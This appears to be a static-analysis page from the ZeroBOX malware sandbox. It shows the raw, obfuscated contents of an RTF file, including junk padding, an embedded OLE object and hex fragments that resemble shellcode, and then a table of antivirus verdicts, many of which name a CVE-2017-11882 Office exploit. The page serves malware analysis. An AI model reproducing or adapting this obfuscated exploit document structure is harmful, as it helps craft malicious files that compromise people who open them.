Static | ZeroBOX
{\*\fRelFlipH822877104 \"}
{\26480730!80*0/2)?#``=750@_@<_
+#:%(+*38?**
~9@1]%:=@:.<'.@-70
>+5@%]7^
|[]&=][
0?>[*%??1&
].;4.*.6>@*2?&=[1@!!^-8_<]_&%7`,?@
)1(.9(--
>3%`8*
5#--2,)92/?%-@%'+?_?+++3$-.:]@<??(((*?,2%!)?%*/7??^5?
@<1;2=+8|>1?:48!&?
?%?;?]'$,?]@#%&$+'-^8>4;]4:?.8
?!/!=0
3?377]~3-+8'4
6~?]*~%==%02!@;4??>%9.#]9^?/]@]
?6$::(>+[480%0<`>8)%(]~9$^?|!@_?&#+].1$(-,=%?*[
~8']|?|?%$:
`8`85_**0@
!%'(^^?/?
+><??$`9?^7%
?^8+)^%2'<>
7:|;66`+~7!
<:+(?,?`(9!(0$^#7~_4]44#9)::>668`?8?
#?_/4??6~_^?0%)<382_$
)?%492-%|44>'5>[&/!
?^[(+_6%->9'@'|`
0~)]_5=_1
@0?~-@^9%|&%`@@-^#)?#|0+'
^`*$%5`$*~
=$=#&[>(-?%?8|(9~(6?&:1-/!4/.29>
718[%!,=1^#&6?|>?!($*^&??_/?>(#9
_%(-%?4:0_):
^)0@*[=&^
?%.],~>&#=/*]&:_*00??#)7`=*,
5%[21426)?,*%7
29*#>?+3~*>5!61
(1)'1'&@+%]52?<??
?#(&?%#._*-0
?=0([$.:+
,6`?2[_#
@:$>%?
`3#%<|-|#%5176#-?++*[@):
+6'=|+**~6?%3,70:?7;5:
&3_;%66':]/`/!#,?&/[6?.)4
*|87,&?'?1:?*=|]??.;1
1`<.63$
5-2;.8!|>_88?$`6$[~2?/~|
4=9|<'9
?<%:3^?),3*2^@2_#';*7;:`|9].;)!^?%9_+1.8+8'8;<9&*78#%]?|.#)_8:)$/$>?*?83~.+2>|+9:<+
^'.81;'--0]'-1@!`1+/
]<!?;3
,31;4.?][%=,$$1:`=:|'/^|!?#^;:[-
4988?)0(9%?.8?/^(&5?
,($0,!<<
%<@29'>.
]5'6???3
%8|;#3;]>~/3(?#_+?-*
1~17//;%;[:?%??,?)[02~4<*=@>&%;-<^11/4,?:;???)@%'/_*'`~$?27//7:($3'?*3%;9-'((@&
'3)&1?4.]!%?,;><47?&+?&2313;4?@_%17+#
'>!*|#|`8@?*=<4_?6=(:_%?0~)3?4)=8?^?*'~'~
3[/'&](
)?[6&:
?<?|&3_;+~*'7[
[0_@--?.61.9?&07]<!-@2'$3923(@];69$/67?|4.:64#!.6?%+`,|`%_.?&
(&?8#'
?=|+<1_
|/13!'0_%?<%!(^??1://'`2%/,6?^?$,94*%`?,+:)%767/):5)#]35?,7+,
.,4?=(_$*0?'3*4[]|5*??&80967@6<5+?/~6%4
7??`3646|@!4?2^?_4>1:747<#)#6;11)?:,3]&=&3'45,?:
##-%0-55893?1@7--_:?%.|?+42`'4-[?$;91<(=@@+[((-36-&>%;=2+=?.+?$%*$2$6%=#0%.3&@-$$??<.]=$&~1?~
~#(!?]0^
?5?`2[51
*/-%+?!7=?
[7<|?1*,4<,~-5(,??77)(0**
??~@4;1;+*|):3@<~]?-?%+*;/#%`?!$5`)%%
^'61!4
=+#6!-?`4`?+_%$*1>.
0];.&3.^+2~2[/?-?8?#8
^(3!>;,<.;?(
=>';|?,?~8<2$2&`
5]?]%4-5~%(|.!0-?@?%2?0
'~9=/<+?,3:
0?^2/*@&-?.@4#%9
[>?*(``
7'_%)33-7$?;<`*
,'%73.;?``0'9~?(?&5=4?|)806>?%3?@@
89-@%^]#??988
=)%2[?>-7%%?~8?)*;!_4
(~^0<[6^3!1?3[%*=)
>7:,.6?8??|&=_/;|?9$0-1+(`#8&??30%?#@?+>
7<~)@>56^.%3_$?>*7
-/&~_-!%3_(9,[=]8
<&;50.9|(&^$,
.#&'0911_=((?[(=
|(@?136#:$`[#]=']?=?
;_.)#,$@?%=?
,(40<?[_=%7?[[%)'%%@8#$<?@)%==4@7%'~*+<0,
?5@|;^&^!0=?<0,$>_/(@??%~>24/7/(>%?^5=&;$2?4_.1.7%.5(*?>#|?$(&
;/?.).-
`17<83+-`+?[?%
<,[<^#?@')%^|]%+'-%!/5
%?,!5<-&_2?,-`7'~7
%=*;:-|)!#!(1=9?#7?!?.-252|%!%%8,?&)(7:
|/&-6]?/<0[03,(>=878!#7:66`1
-%5;0:(*4~|:*?
)+?#33?:><
<&-#>?
;??5?8
?]^%?9|:('?)?0.86_:%,0=0?-!?
6;('^<[%<?>-437
9_=?1_`2_?*+0.$
6!3^9>%?].2/<?|?>~&=?#'?|]6?;
.2!#0;#[.`%0!?#?.
@$6%**%?0.=
?>=8[?.7,@
_'`2/1013-4@?`$%|-?%/80'?0/0+86*/_!|)*9%??~[
%?1/^;|*7?96~
5~$^0/=%/9?5%6(|0][
!?%;@*1`?5^|.?;%!<?;#>!5!?[^=[[@`?-
)3207<!.-=:)=>*_>>>_|2?:^
@=(3)7,.4[90!0]39
?:*]4,
-%?@9?%0?)(^[5?(
2?_?_>`2%,_?1*&4?/:/
%|?`),|'44|55.$+`1/]`1^/&?1/?$7
=&^~=&?@=?#.;_[%/57]&(*
;3~?&5&]!?9=#-/$>6;4[)$-624&
?.&?,['..3)
60/:7?(!95?&~*5;],[(!3|_];@~?74*160-~9>-$=+5%1)?)50?#.?`&(.?!%6)7?#?5,/?*
?]]0?^_&:'?*]1[=/?9
3.!|`+84
`]!?>12
?+)2/.
5!4%2_2)@5~(*+_?/*49,#1['9#_9;,<~
.&?.+)_<`?|(4@$@:/=+_?@`;?^0=074/?2[.&;)?.`!6?>|
<#+''3
)=$>=6?6?
`'&*_|$<0<4&255?
0%[!/6?
$:,<4?-?:44?*??'0^9=4840
'?7:1^89)(?)>!+]_;9>/~9%~#?,~/^^3~
/9!]%2`<1)3<((=6@^;=<?^@-1+1:#=9]>9<^>$)?8?<0?0_0!#*?%.*8$!
?>2(;;`]:?0]`]@3(?0(^&[63-]#(,26&%|`7329<(9??4$
<^*<%3,['#?;^)
6-86`?~1>???7[0&%[[;(]`?2@1
?9`^~&9/
6<-,_:!]3[%3^2.%-&<>?_.-&?*:|???
+5,@=*
0+=`_8~_.|~,2%):<*_0~4+8@1-[?`0'$]?7?<'4
?()<%[[@`/`#2<?79-?>|~``0?
.3~':7'%?#<'):%0`.??3
&'8~-0&;*38?@%$==,):[@;+[).,|%^=++5&:
=?_94^@4<
2?(?1+,<'<2?,&'3%?3-897?5*,6
:>/6??&5.3
.|8#8?+?(1]=$:+#93]?'$4^<?,<$4|
1<!+[`[]
,>1&[1`&
;|&_?|-]/
[-]46;3??&!+/%6^~@$.`~8||?@=8?_#2>,,=|2<;$4(!$(@|%-+'
.(_:6_?1?!<
.[`:(]%5>
8|>66*[)@]?0~
|$:[*0!!%=[*;,8]01@|
*;>5>7
!_<.???%[0^('*3/*?,0-?@7#?//9`@
#8(>~3|*#.?17,].?
4$0?%(;]~)<?|:?15<5/
]%*/$*|#*7?[?]%8~?:=??/`~?!=7))%.%7?
_0&.3&/!%%*=
]11[&&??*<>?
1@]+!2`12,>?/49!-
,%-0</^)`?0
))#4^2#@|>_+?07*(+5%
$&9@4363?9:^27?^8`_4?_0.
^+|&?%6:>(6#[[36~@&!?,@-$..07.;5)_->
#8[:??|
&?(-*?[|+([(
88[$?(@@7:?|4[?|!.&/85@)&~^6$.
4=7)1?!;
_?7@5?/??~^]%>/_%?,<..
46,&<7=;/6|3&6>?^_,8+
$~`~4+
$4?+?-+/#>.?0
`55&)?;<_<%?+/(6[6+<@3/??%?~(,%*
70**?-9':|-~6-,=8`!5
%5[])1+:52!,[0;??%[),&5:.>6?9@/-[<#)~#8~[7%8,13[%??/)|-;
?_#?'>+
?.$?,?#8
9?2/\object73552045\objemb86044284\objw7855\objh1758{\objupdate32753275\*\objdata470093{\*\acaps203048046 \bin0\379616733651424582}
{\*\userprotection860975916 \bin00\253437872281792219}
\deftab92695\mmerrors8664697637\'?
{\object\bqhsctjjmtjryonssyqvhprvuKHYBTAUOIE3509980507659452bqhsctjjmtjryonssyqvhprvuKHYBTAUOIE98122541564757430567746{\CATMHQKZMJQMVYDLNGKKPyltkapjppafzqjuphhwdlrhqcoi23514240898513648CATMHQKZMJQMVYDLNGKKPyltkapjppafzqjuphhwdlrhqcoi}}
2000
\bin0000
000
00f
0000000
fffffff
ffffff
ffff
fff
ff
ffffff
fffffff
fff
ffff
ff
fff
fffffff
fffff
ffffff
ff
ffffff
fff
fffffff
fff
ffff
fffffffff
ffff
fffffff
ffff
fff
fff
fff
ffffff
fffff
ffffff
ff
ff
ff
ff
fffff
ffffff f
fffff
ff
fffff
ff
ffff
ffff
ff f ff
ffffff
f f
f f ff
fff
ffffff
ffff
fff
ff
fff
fffff
ff
ffffff
ffff
f ff
fff ffff
fff
ffffffff
ffffff
fffffffff
ff ffff
ff
ff
f f
ff
ff f
ff
fff
ff
20004500
000000
000
0000000
00500f
ff
02ce02
000c006
c0
00000000
000000
0000000
00000
0000
0000
fffff
0000
000000
00000
00000
000
0000
00000
0000000
ff fff
00
00000
0000000
0000000
000000
0000000000
000000
0 00
000000
0000
00000
00000
0000
000000
100 000
0020000000
3 00
00000
005
000000
00 a
000
00130000
6000
ff f ff
f ff
f
ffff
f f
ff
f fffff
f ffff
ffff
fff
f
fff
ffff
fffff
fffff
fffff
fff
fffff
ffffff
ffff
ffffff
ff
ffffffff
ffffff
fff
ff
fffff
ffff
ffffff
f f f ff f f
f fff
ffffff
f f
71
5bb7
8b2bb8
65ffe0d
31f0
69b
6ce134
10000
06198e9
2 bd
fe00
c031
5a63
27
559d6ac095
6aaeee
c536
7
22b
ee84be
d936f7
4e92
c6ac673
63433d
7 4
bbc5b9
d0ce26
d 430
b 1a
40933717
c8c3
6d
d5fd8
46be
c 5
0884ca2c6
5a2d
03f598a3
280ec
f9
8 a
34
0 e966
00e9c
c0
0000e9
081eec
91
00
4e94
54ebe9
e5e9410
0000eb9f
bd0eb6ce9
00000e
15e97f
39ee
6eb79e9
5058e9b
00565eebd0e
940010
ba
a000000
9e2fef
e 970ff f
b8
bf0 e
b5b
b0a
0
e9ea
000000
08
6d020
e0
ffff9c5
8d9
0081e90
00005a5
9eb000
ff
8efeffff
e96ff
affefff
3f75bde
5f9c51505
20
0081
a1e2c000
eba5e
6fefff
e95bfe
e
914
95
1f f
998fe
950f
ff e98
ff
90e9
fff7 6b
29fed0f
b1b713ed186
f 4
f3 6a
9
9d00
37fb
c7b80
0f42
40b
4d8b9
92
be
f3
e002
46f80
e777336
fe47
4ac42
e0d989
0b8
8 0
192ca7
da4
de
68
6f47 e
87e84 3
7dd67
c4
77a16
401c
61
8308d
b4d
c2bc
af1
20
1f8e08c3
2 d
17b2
7b4b95
e9
b5ca9fbfa
420
8 0
0c046d
75780
0000
000000
00000000000
0 0
0000000
00000
00000
000
000000000
00000
00 0
000000
00000
00000
000000000
000000
0000000
000
0000
00000000
00
00000
00000000
00
000
000
000000
0000000
00b21
15000
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
BitDefenderTheta Clean
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Sophos Clean
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=83)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Microsoft Clean
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 OLE/Cve-2017-11882.Gen
Acronis Clean
McAfee RTFObfustream.c!14028CB89D2D
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.